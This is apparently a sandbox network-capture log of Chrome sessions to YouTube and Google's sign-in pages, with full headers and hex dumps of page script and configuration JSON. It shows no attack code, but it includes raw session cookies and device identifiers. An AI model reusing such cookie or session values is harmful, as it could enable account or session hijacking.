2024-01-17 23:34:35 UTC	3788	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:35 GMT Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Origin-Trial: AvC9UlR6RDk2crliDsFl66RWLnTbHrDbp+DiY6AYz/PNQ4G4tdUTjrHYr2sghbkhGQAVxb7jaPTHpEVBz0uzQwkAAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTcxOTUzMjc5OSwiaXNTdWJkb21haW4iOnRydWV9 P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF X-XSS-Protection: 0 Set-Cookie: YSC=lwNjyUgIE44; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: LOGIN_INFO=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=www.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.www.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=m.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.m.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly Set-Cookie: SID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly Set-Cookie: HSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly Set-Cookie: SSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly Set-Cookie: APISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly Set-Cookie: SAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-YEC=CgtiU1BPUHlZdVg5ZyiLyKGtBjIKCgJERRIEEgAgRQ%3D%3D; Domain=.youtube.com; Expires=Sat, 15-Feb-2025 23:34:34 GMT; Path=/; Secure; HttpOnly; SameSite=lax Set-Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; Domain=.youtube.com; Expires=Sat, 15-Feb-2025 23:34:35 GMT; Path=/; Secure; HttpOnly; SameSite=lax Set-Cookie: VISITOR_INFO1_LIVE=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:35 GMT; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: CONSENT=PENDING+538; expires=Fri, 16-Jan-2026 23:34:35 GMT; path=/; domain=.youtube.com; Secure Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:34:35 UTC	3788	IN	Data Raw: 32 35 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 72 6b 65 72 2d 64 61 72 6b 2d 74 68 65 6d 65 20 64 61 72 6b 65 72 2d 64 61 72 6b 2d 74 68 65 6d 65 2d 64 65 70 72 65 63 61 74 65 20 73 79 73 74 65 6d 2d 69 63 6f 6e 73 20 74 79 70 6f 67 72 61 70 68 79 20 74 79 70 6f 67 72 61 70 68 79 2d 73 70 61 63 69 6e 67 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 69 64 3d 22 5f 67 64 22 20 6e 6f 6e 63 65 3d 22 73 5a 35 6e 32 50 46 6b 57 71 6e 47 39 5a 43 76 52 31 67 6f 41 41 22 3e 77 69 6e 64 6f 77 Data Ascii: 2537<!DOCTYPE html><html style="font-size: 10px;font-family: Roboto, Arial, sans-serif;" lang="en" darker-dark-theme darker-dark-theme-deprecate system-icons typography typography-spacing><head><script data-id="_gd" nonce="sZ5n2PFkWqnG9ZCvR1goAA">window
2024-01-17 23:34:35 UTC	3788	IN	Data Raw: 72 22 5d 2e 42 61 73 65 2e 5f 67 65 74 45 78 74 65 6e 64 65 64 4e 61 74 69 76 65 50 72 6f 74 6f 74 79 70 65 3d 5f 67 65 74 45 78 74 65 6e 64 65 64 4e 61 74 69 76 65 50 72 6f 74 6f 74 79 70 65 3b 77 69 6e 64 6f 77 5b 22 50 6f 6c 79 6d 65 72 22 5d 2e 42 61 73 65 2e 5f 65 72 72 6f 72 3d 68 61 6e 64 6c 65 50 6f 6c 79 6d 65 72 45 72 72 6f 72 3b 77 69 6e 64 6f 77 5b 22 50 6f 6c 79 6d 65 72 22 5d 2e 42 61 73 65 2e 5f 77 61 72 6e 3d 68 61 6e 64 6c 65 50 6f 6c 79 6d 65 72 45 72 72 6f 72 7d 72 65 74 75 72 6e 20 6f 72 69 67 50 6f 6c 79 6d 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 0a 61 72 67 75 6d 65 6e 74 73 29 7d 3b 76 61 72 20 6f 72 69 67 44 65 73 63 72 69 70 74 6f 72 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 Data Ascii: r"].Base._getExtendedNativePrototype=_getExtendedNativePrototype;window["Polymer"].Base._error=handlePolymerError;window["Polymer"].Base._warn=handlePolymerError}return origPolymer.apply(this,arguments)};var origDescriptor=Object.getOwnPropertyDescriptor
2024-01-17 23:34:35 UTC	1959	IN	Data Raw: 69 64 65 6e 74 22 29 3c 30 26 26 75 61 2e 69 6e 64 65 78 4f 66 28 22 4d 53 49 45 22 29 3c 30 7d 79 74 63 73 69 2e 73 65 74 53 74 61 72 74 28 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 3a 6e 75 6c 6c 29 3b 76 61 72 20 69 73 50 72 65 72 65 6e 64 65 72 3d 28 64 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 7c 7c 64 2e 77 65 62 6b 69 74 56 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 29 3d 3d 22 70 72 65 72 65 6e 64 65 72 22 3b 76 61 72 20 76 4e 61 6d 65 3d 21 64 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 26 26 64 2e 77 65 62 6b 69 74 56 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 22 77 65 62 6b 69 74 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 3a Data Ascii: ident")<0&&ua.indexOf("MSIE")<0}ytcsi.setStart(w.performance?w.performance.timing.responseStart:null);var isPrerender=(d.visibilityState\|\|d.webkitVisibilityState)=="prerender";var vName=!d.visibilityState&&d.webkitVisibilityState?"webkitvisibilitychange":
2024-01-17 23:34:35 UTC	1252	IN	Data Raw: 38 30 30 30 0d 0a 7b 22 43 4c 49 45 4e 54 5f 43 41 4e 41 52 59 5f 53 54 41 54 45 22 3a 22 6e 6f 6e 65 22 2c 22 44 45 56 49 43 45 22 3a 22 63 62 72 5c 75 30 30 33 64 43 68 72 6f 6d 65 5c 75 30 30 32 36 63 62 72 76 65 72 5c 75 30 30 33 64 31 31 37 2e 30 2e 30 2e 30 5c 75 30 30 32 36 63 65 6e 67 5c 75 30 30 33 64 57 65 62 4b 69 74 5c 75 30 30 32 36 63 65 6e 67 76 65 72 5c 75 30 30 33 64 35 33 37 2e 33 36 5c 75 30 30 32 36 63 6f 73 5c 75 30 30 33 64 57 69 6e 64 6f 77 73 5c 75 30 30 32 36 63 6f 73 76 65 72 5c 75 30 30 33 64 31 30 2e 30 5c 75 30 30 32 36 63 70 6c 61 74 66 6f 72 6d 5c 75 30 30 33 64 44 45 53 4b 54 4f 50 22 2c 22 44 49 53 41 42 4c 45 5f 59 54 5f 49 4d 47 5f 44 45 4c 41 59 5f 4c 4f 41 44 49 4e 47 22 3a 66 61 6c 73 65 2c 22 45 4c 45 4d 45 4e 54 5f Data Ascii: 8000{"CLIENT_CANARY_STATE":"none","DEVICE":"cbr\u003dChrome\u0026cbrver\u003d117.0.0.0\u0026ceng\u003dWebKit\u0026cengver\u003d537.36\u0026cos\u003dWindows\u0026cosver\u003d10.0\u0026cplatform\u003dDESKTOP","DISABLE_YT_IMG_DELAY_LOADING":false,"ELEMENT_
2024-01-17 23:34:35 UTC	1252	IN	Data Raw: 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 61 64 64 5f 74 6f 5f 70 6c 61 79 6c 69 73 74 5f 72 65 6e 64 65 72 65 72 5f 64 69 61 6c 6f 67 5f 70 6f 70 75 70 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 61 6e 69 6d 61 74 65 5f 6d 69 6e 69 70 6c 61 79 65 72 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 63 6c 69 65 6e 74 5f 72 65 6c 65 61 73 65 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 64 65 6c 61 79 5f 70 6c 61 79 65 72 5f 72 65 73 69 7a 69 6e 67 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e 61 62 6c 65 5f 64 6d 70 61 6e 65 6c 5f 63 6c 69 63 6b 5f 64 72 61 67 5f 73 63 72 6f 6c 6c 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e 61 62 6c 65 5f 64 6d 70 61 6e 65 6c 5f 73 63 72 6f 6c 6c 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e Data Ascii: true,"desktop_add_to_playlist_renderer_dialog_popup":true,"desktop_animate_miniplayer":true,"desktop_client_release":true,"desktop_delay_player_resizing":true,"desktop_enable_dmpanel_click_drag_scroll":true,"desktop_enable_dmpanel_scroll":true,"desktop_en
2024-01-17 23:34:35 UTC	1252	IN	Data Raw: 72 75 65 2c 22 65 6d 62 65 64 73 5f 77 65 62 5f 6e 77 6c 5f 64 69 73 61 62 6c 65 5f 6e 6f 63 6f 6f 6b 69 65 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 62 5f 72 65 70 6f 72 74 5f 6f 6e 5f 65 72 72 6f 72 73 63 72 65 65 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 62 5f 72 70 5f 69 6e 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 64 73 5f 77 65 62 5f 65 70 5f 62 75 65 6e 6f 73 5f 61 69 72 65 73 5f 61 6e 64 5f 70 61 64 64 69 6e 67 5f 66 69 78 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 62 75 65 6e 6f 73 5f 61 69 72 65 73 5f 74 79 70 6f 67 72 61 70 68 79 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 62 75 74 74 6f 6e 5f 62 65 68 61 76 69 6f 72 5f 72 65 75 73 65 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 63 61 6c 6c 5f 74 6f 5f 61 63 74 69 6f Data Ascii: rue,"embeds_web_nwl_disable_nocookie":true,"enable_ab_report_on_errorscreen":true,"enable_ab_rp_int":true,"enable_ads_web_ep_buenos_aires_and_padding_fix":true,"enable_buenos_aires_typography":true,"enable_button_behavior_reuse":true,"enable_call_to_actio
2024-01-17 23:34:35 UTC	1252	IN	Data Raw: 6c 65 73 5f 69 6e 5f 6d 65 6e 74 69 6f 6e 5f 73 75 67 67 65 73 74 5f 70 6f 73 74 73 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 68 69 67 68 5f 66 72 65 71 75 65 6e 63 79 5f 63 6f 6f 6b 69 65 5f 72 6f 74 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 68 6c 70 5f 63 6c 69 65 6e 74 5f 69 63 6f 6e 5f 70 69 63 6b 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 64 65 6e 74 69 74 79 5f 61 74 74 72 69 62 75 74 65 73 5f 66 6f 72 5f 6c 69 76 65 5f 63 68 61 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6d 61 67 65 5f 70 6f 6c 6c 5f 70 6f 73 74 5f 63 72 65 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6e 6c 69 6e 65 5f 73 68 6f 72 74 73 5f 6f 6e 5f 77 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6e 74 65 72 73 74 69 74 69 61 Data Ascii: les_in_mention_suggest_posts":true,"enable_high_frequency_cookie_rotation":true,"enable_hlp_client_icon_pick":true,"enable_identity_attributes_for_live_chat":true,"enable_image_poll_post_creation":true,"enable_inline_shorts_on_wn":true,"enable_interstitia
2024-01-17 23:34:35 UTC	1252	IN	Data Raw: 61 62 6c 65 5f 70 6c 61 79 61 62 6c 65 73 5f 6f 6e 5f 6d 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6c 61 79 61 62 6c 65 73 5f 75 72 6c 5f 72 65 73 6f 6c 75 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6c 61 79 65 72 5f 70 61 72 61 6d 5f 74 72 75 6e 63 61 74 69 6f 6e 5f 62 65 66 6f 72 65 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 6f 6e 5f 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 6c 5f 63 68 6f 69 63 65 5f 62 6f 72 64 65 72 5f 6f 6e 5f 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 79 6d 65 72 5f 72 65 73 69 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 79 6d 65 72 5f 72 65 73 69 6e 5f 6d 69 67 72 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 70 75 6c 61 74 65 5f 61 Data Ascii: able_playables_on_mweb":true,"enable_playables_url_resolution":true,"enable_player_param_truncation_before_navigation_on_web":true,"enable_poll_choice_border_on_web":true,"enable_polymer_resin":true,"enable_polymer_resin_migration":true,"enable_populate_a
2024-01-17 23:34:35 UTC	1252	IN	Data Raw: 61 6e 6e 65 6c 5f 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 68 6f 77 69 6e 67 5f 67 65 6e 72 65 5f 64 61 74 61 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 69 67 6e 61 6c 73 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6b 69 70 5f 61 64 5f 67 75 69 64 61 6e 63 65 5f 70 72 6f 6d 70 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6b 69 70 70 61 62 6c 65 5f 61 64 73 5f 66 6f 72 5f 75 6e 70 6c 75 67 67 65 64 5f 61 64 5f 70 6f 64 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6d 65 61 72 69 6e 67 5f 65 78 70 61 6e 73 69 6f 6e 5f 64 61 69 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 70 61 72 6b 6c 65 73 5f 77 65 62 5f 63 6c 69 63 6b 61 62 6c 65 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 71 75 Data Ascii: annel_web":true,"enable_showing_genre_data":true,"enable_signals":true,"enable_skip_ad_guidance_prompt":true,"enable_skippable_ads_for_unplugged_ad_pod":true,"enable_smearing_expansion_dai":true,"enable_sparkles_web_clickable_description":true,"enable_squ
2024-01-17 23:34:35 UTC	1252	IN	Data Raw: 6c 65 5f 79 74 63 5f 73 65 6c 66 5f 73 65 72 76 65 5f 72 65 66 75 6e 64 73 22 3a 74 72 75 65 2c 22 65 6e 64 70 6f 69 6e 74 5f 68 61 6e 64 6c 65 72 5f 6c 6f 67 67 69 6e 67 5f 63 6c 65 61 6e 75 70 5f 6b 69 6c 6c 73 77 69 74 63 68 22 3a 74 72 75 65 2c 22 65 72 72 5f 6f 6e 5f 70 6c 5f 72 5f 63 22 3a 74 72 75 65 2c 22 65 78 70 6f 72 74 5f 6e 65 74 77 6f 72 6b 6c 65 73 73 5f 6f 70 74 69 6f 6e 73 22 3a 74 72 75 65 2c 22 65 78 74 65 72 6e 61 6c 5f 66 75 6c 6c 73 63 72 65 65 6e 22 3a 74 72 75 65 2c 22 65 78 74 65 72 6e 61 6c 5f 66 75 6c 6c 73 63 72 65 65 6e 5f 77 69 74 68 5f 65 64 75 22 3a 74 72 75 65 2c 22 66 65 74 63 68 5f 62 69 64 5f 66 6f 72 5f 64 63 6c 6b 5f 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 66 69 6c 6c 5f 6e 6f 5f 68 69 73 74 6f 72 79 5f 75 73 65 72 Data Ascii: le_ytc_self_serve_refunds":true,"endpoint_handler_logging_cleanup_killswitch":true,"err_on_pl_r_c":true,"export_networkless_options":true,"external_fullscreen":true,"external_fullscreen_with_edu":true,"fetch_bid_for_dclk_status":true,"fill_no_history_user

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49716	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:35 UTC	1363	OUT	GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1 Host: accounts.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:QyE7iTCWihLF9yntF_Idkb4F6DPILw:4U05FA7_GEJBAiKG
2024-01-17 23:34:35 UTC	1920	IN	HTTP/1.1 302 Found Content-Type: application/binary Set-Cookie: __Host-GAPS=1:o7j89IvLqJhFMTxVanxTGSgj1nikYA:bs4bEmbWfrvt8VwG; Expires=Fri, 16-Jan-2026 23:34:35 GMT; Path=/; Secure; HttpOnly; Priority=HIGH Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:35 GMT Location: https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp0RbyVB3JGDWRnSCsFltf58XlhzDLVWotSlGCy2-rdV48XSPnELEArXtquZ9NlE5xCgPKvSVA Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Resource-Policy: cross-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-gqEByxeZ5Tyq-0AZKZjKNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsSigninPassiveLoginHttp/cspreport/allowlist Cross-Origin-Opener-Policy: unsafe-none Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49717	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:35 UTC	1728	OUT	GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp0RbyVB3JGDWRnSCsFltf58XlhzDLVWotSlGCy2-rdV48XSPnELEArXtquZ9NlE5xCgPKvSVA HTTP/1.1 Host: accounts.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:o7j89IvLqJhFMTxVanxTGSgj1nikYA:bs4bEmbWfrvt8VwG
2024-01-17 23:34:36 UTC	1305	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 X-Frame-Options: DENY Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:36 GMT Location: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp2Fh1LVullqknwvfi41Bgz_cGuworpX9-qvX0psxzTFaAjKxJSIbTCzEnPsYVkspxjdHHyF&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S922877882%3A1705534476005670&theme=glif Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk" Content-Security-Policy: script-src 'report-sample' 'nonce-L9yYOOtl73SwAhbkDLWetQ' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri /cspreport Report-To: {"group":"coop_gse_qebhlk","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]} Content-Length: 539 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:36 UTC	539	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 76 33 2f 73 69 67 6e 69 6e 2f 69 64 65 6e 74 69 66 69 65 72 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 25 32 46 26 61 6d 70 3b 66 6f Data Ascii: <HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&fo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49718	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
